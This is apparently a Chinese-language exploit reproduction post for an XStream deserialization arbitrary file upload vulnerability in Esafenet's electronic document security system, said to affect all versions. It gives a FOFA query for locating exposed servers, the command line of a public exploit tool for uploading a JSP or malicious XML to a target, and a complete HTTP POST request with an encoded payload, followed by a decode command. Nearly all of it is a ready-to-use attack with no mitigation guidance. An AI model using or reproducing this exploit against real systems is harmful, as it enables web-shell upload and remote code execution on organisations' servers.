亿赛通电子文档安全管理体系 XStream反序列化恣意文件上传

影响版本

全版本

网络空间测绘

FOFA：app=“亿赛通-电子文档安全管理体系”

复现

可利用以下工具直接上传JSP或自界说恶意XML。
https://github.com/0xf4n9x/CDGXStreamDeserRCE
CDGXStreamDeserRCE.jar

1. java -jar CDGXStreamDeserRCE.jar -uf C:\Download\xxxlx2.txt -t https://xxxx -p http://127.0.0.1:8080
2.                                       (本地上传的文件)   （目标地址）                                       

复制代码

1. POST /CDGServer3/SystemService?command=GETSYSTEMINFO HTTP/1.1
2. Accept: */*
3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
4. Connection: close
5. Accept-Encoding: gzip, deflate, br
6. Accept-Language: zh-CN,zh;q=0.8
7. Content-Type: text/xml
8. Host:
9. Content-Length: 4582
11. NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHEAIBHCEHALKGKJLIHHCLCCFBIKJPPCPFNEGBEFHIIEJLDLCIILGOJPCLALLDPIDJHNKDNPOGOMLIKGCBDNHJCLCGGGOMLKAEPNAGGHFCBGCALOHIGGKEHKPJNEBFGMJKCJFFDMMAHGEOFPIIPOIMALJHAFMLDLBBBOMCDBPJEHEJANCKCIEDBEIMIKONBEAMGGHGEFNOJGHKIELJBJLJCJFKCLOJEGIPPJOCNGCMBAKHADFNLEDMOJNMBGNGBMBFNPLIBGDCCNMDNDNOIPOECCPELCEDPGCNKGBDFKLJLNIJNAEFOPOLBLLCHOPIJCDNGEJGPMAFCFNLGKJDPKEBNDBEOIKINLEPIBJAGEBMEFKHPEKAPANDBGCGDBKKBJGFIOMHNPHOGAPDIFOBAMIGMNOFJAFJKNMFCBFNHAJELKBHCENAJDNEBNDCIOEOHAIOFKPEKJEPCDGPGGKENMHNOGKPMMADGIPOOJKHPGOIGDLNJFJGOIIEHCLGOLLGONJLFDBNMJCPJDDDKGDLKMCILLIEKBEDADHHJGENFBCKCACMIMIPDDGJFANEEFFILNPFMEEAOGCOFPPBCGCMEJDEHJILGKBDAKCPJMFODBFIEGHLPBLLGOHGABBGLENANFJGAEHBANPEHDNHLNDHKPCKMEOCOBFEJLDGJFDBIOHBMICIEDOHCDJMLKFFEHDJGOBLKLMOJHGOHHMNEJBEKCEEPAMBJFGNCBDDEJPGNGJKKGMKPJIIHDCFFPFAOMOGDKFGMMDLILPCDNCCGACMNDPCEJCCOAMKOCNAFDNELOFMFJIEEJLDJKOEFDIGHLJGKEFCKBGGKCFFCIBIGBDFABJCFOCEDNJOJEBAEMFIEFPNBKGKGKFJDDEBDMKFFEKKAJOFPDMFBBALPJHINILPDEEPIMJOHPLDMOFMFCFMEAAJDNIGJGAFDMONIMNMIBKIGGCMLPFGDFNKOBLDKIHEDJJFJNEEBGMDICECOLIJNPJBMHOGMBKMILAIMJCICMDNBGMFBKPEGHFCHDCKJCKMDKFDLAGLDAHOCOEKIELNHNONOOFECAMDJNOOPNIMPMCNKHNGEJJMKFDPOGGNJLLJDAKHABCOCLGBMNIAMFEKBEMCGIEMDMGCOEDBDOMPKLMMMKLFPGEINCENPLOMMOIJHINAIPDNPKFIHHFMNKFEJDLHILCDEEPALCCOLILJFIAGEJILLHDFIELENBAKNPEBNADDDHBNCHBPNPOFBIDKOAAJFPEMGIKMBLFBDJNMGCBHPONCBDPELPPMPGDLCDOENPCBGGFLHANCPOGKPPEMBNOKJHBPPDHDLNKJLKCAJAAEPLFPJJFEBCPALCOMNOMCIKJCFBMAKIOFPNPLJMOAJDCNMKDCFIPHLFGMNDILAMLFFEGDMBCFAKAFBEFPFFHOLABOICHGGHFGLHPBIHODABLCBFCNBFKEODJINOLGPDHNLBOFMBALOFPBMGAIDOLJJJEELGAPIGBCHOJBEKLNBCOMCGIPNOOPPOEJHCOOKJHNELONFDGHDAPBKAMPGHHOGNCPKCGMEAMLKOLAIHLIADDJPCDJKHFAAAJNKKEKNNEJDOENAFGNAHGOHCFDLMGHMKHNKOEDFJMANPFJAKOILOJEOBMBLAOIOEFAOGJJKLOMGLACMBBMEEHIMNHGLCIFBGOKFCJAMFFIEFLLKOGEELMKMPMAKJMMOFKDJCFJGCGBDGLKDCNLGJGAHOBIPMPIFJPOIBLLAHHOBHHPGDILOENAEPPKPLEOPKMLDBCELDMFLPAJEGEIFJPMJBKEMDENGPNPCDLEDFKMKBGNLKPENBBHDMGGHNMEHHMMOOMGDOEFGANFJDDIJBHJLEBMIMILDFBLCLDIIAECKJHECJGCFJIPMHIIIDGMFLIAEPDEPJPILNDOLFFHNJFICIJOLGMIEMIBBEBPOHKJCADKMCBMHBMEGBLKCFJNAGLBNCFCJJIFOJPAEDJCPJGGMDKBDMPAHHPEFOJHCGAHLHMCBOJOEHDNJAJCOKBGKJGFHKGGHIIIIMLKMJEFELFABKCLONJPBLAMBBPHKJBEDJLLALIMLIPJFBNEGFDHPILGPCGADBNDGMNKNMOEKCAKDNFDHGPJPEJAOEHFEOKCJAMGMPCKKPJFCHECMAGIECDFLHGAJOGAELCDHNODFAALBHLGPGGFDKHINKKEGCDEDKNFHDAHMLLFMBJLPEFNGBDKIBJDFHNJKKJMLPCPJDHFNDBHGBLMMHPCFAKEDCHNOECHCKOBBOJDGKDHIFANKMLFHDPPCOBKAPMJPMOGCPJLEEMNIKPPHLNEEMIKKFGGCBBFNAMADDKMFBFDONINLMAKGKMGKKAIMAEBCJMKILBGAGIKLFBLONMCHNEHGLDNKJFELODIKPCJMDBNFDMIHAPHJLGAIDLFPKLDNMDGNLCOMMLKICBDAOFPIKEOIGAEBGOPPJKBCMKHIFNGMJCCOFFMCIMOFPLCCMNCFPHHDPAAJALBNBCOJEPFCJFJEFFNGOJKFLHGHJNBFPLODCFLBLBEKINLDNONLCLEPEHOGKFCEPKLABDJOOOABGBOBMMLLMBGOOPGDJMBEEGINKGIGCHIIILBJJFJJNIDDJCHDDLOHELOLEANPLEEHCHDOKLEIBHAPFKPFAHNAIMDOKPCIKNEMFGMGCOGGMKBIBDEKDAKBPBJKPAFGODBFLGADBFNMDAHGLDGNFLLBONBDLAAOIIICMHIPDJCMHBGLFJAIMIBHABENMJOEHJLKGIIJDBBEHFJGKDNILPLLLHEJKJNGGDCADLNKNECJAGJLBFFAODGOMJNOPJIIEDEFBHLDLNAIBFDBJMJKFCLFOKBNCEKLKOEAEEDDMKNIEDBLJNKLAMJLOJFIJFMBOFNPMDEMBOHEDMJDGNEMGDAFFGJMPHLCGPAILFPPOLOAKOFJDMMILKLINJMIEDPFLIBNIPJMOOGNPLJNDJKJPNJKIKAMCKOMLKMELOCOFLDDJIEBGNBBLPMFNDGIHDEFAFHPJNAEPABGAOADKJMLCNLFMEPLIFKGJFPBBGHOCJDGPJFAKPIHNJJIPPBBIFJCIPGFNKBBLLGDOJGBPHKHELACOMFMJBCMEIALEBJEHDFLGPMMCEJIPIBIGGGLAMOKFKMKGJACLLNNHIPDJLHPNBJFMLBINBEOBJMLPILNJNNBLHMDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNGFPFLJJMGANGAOLPGIFAFNEEACNKMJLFHEKBBILILPEGMIODENBNOOCENDGLDCKBGEFDCL

复制代码

存在的相应包

1. java -jar CDGXStreamDeserRCE.jar -d FEPCCCLCENHIPOAFPAPDDFCGEAPNMDBMOJPMJAKKNPHOKIKIDCBPHEGKLDGNHCBDEIMODEKMKPFBAIMMNLOJJKMIICLAPJAAFGNGAKFBMPKPJMOIKODEJJMHJCCHKBMFMMFDLOMDPABOJCEAPOFDCPMKGDHFNBBIMCIPAMMIIANFPAJHFAABLLLANNIDAGNKOHONJGFGBKHFDMCLJIMICBHBJEIAAIMACN

复制代码